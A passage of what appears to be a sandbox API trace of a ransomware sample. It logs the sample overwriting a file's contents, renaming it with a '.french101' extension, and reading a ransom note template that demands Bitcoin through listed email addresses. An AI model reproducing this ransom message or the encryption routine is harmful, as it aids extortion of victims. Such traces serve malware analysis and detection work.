[0278.582] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.594] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.594] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.594] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.595] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.595] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.595] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.595] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.595] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.595] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.595] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.595] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.596] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0278.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0278.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0278.596] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.596] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.596] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0278.596] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0278.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.597] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.597] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12cde [0278.597] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.597] SetFilePointer (in: hFile=0x308, lDistanceToMove=77022, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x12cde [0278.597] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.710] CloseHandle (hObject=0x308) returned 1 [0278.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.725] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.725] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12cdf [0278.725] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.725] SetFilePointer (in: hFile=0x308, lDistanceToMove=77022, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12cde [0278.725] SetEndOfFile (hFile=0x308) returned 1 [0278.730] CloseHandle (hObject=0x308) returned 1 [0278.731] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.731] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.731] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12cde [0278.731] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.731] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.732] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.732] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.732] SetFilePointer (in: hFile=0x308, lDistanceToMove=45883, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb33b [0278.732] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.733] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.733] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0278.733] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.733] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.733] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0278.733] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.733] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.733] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.733] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.754] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.754] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.754] SetFilePointer (in: hFile=0x308, lDistanceToMove=45883, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb33b [0278.755] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.755] SetFilePointer (in: hFile=0x308, lDistanceToMove=77022, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x12cde [0278.755] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0278.755] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0278.755] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.755] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.755] CloseHandle (hObject=0x308) returned 1 [0278.757] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\k5Cc4o8jPGNe=hM5t3ztv+Vw1IrQN43OWa5Y9j=BneSr1Q.french101" (normalized: "c:\\588bce7c90097ed212\\1035\\k5cc4o8jpgne=hm5t3ztv+vw1irqn43owa5y9j=bnesr1q.french101")) returned 1 [0278.786] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\k5Cc4o8jPGNe=hM5t3ztv+Vw1IrQN43OWa5Y9j=BneSr1Q.french101" (normalized: "c:\\588bce7c90097ed212\\1035\\k5cc4o8jpgne=hm5t3ztv+vw1irqn43owa5y9j=bnesr1q.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.786] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0278.786] CloseHandle (hObject=0x308) returned 1 [0278.787] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\k5Cc4o8jPGNe=hM5t3ztv+Vw1IrQN43OWa5Y9j=BneSr1Q.french101", dwFileAttributes=0x80) returned 1 [0278.787] CloseHandle (hObject=0x308) returned 0 [0278.787] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.787] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.787] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.787] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.787] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.787] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.787] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.788] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.788] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.788] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0278.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0278.788] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0278.788] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0278.788] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0278.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1035\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.788] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.788] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0278.789] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.789] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.789] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0278.789] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0278.789] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0278.789] CloseHandle (hObject=0x308) returned 1 [0278.789] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.789] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.794] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.794] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.794] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.794] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.794] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.794] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.794] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.794] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.794] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.794] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.794] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.794] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0278.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.795] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0278.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0278.795] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0278.795] GetLastError () returned 0x12 [0278.795] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0278.796] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.796] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.796] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.796] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.796] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.796] GlobalHandle 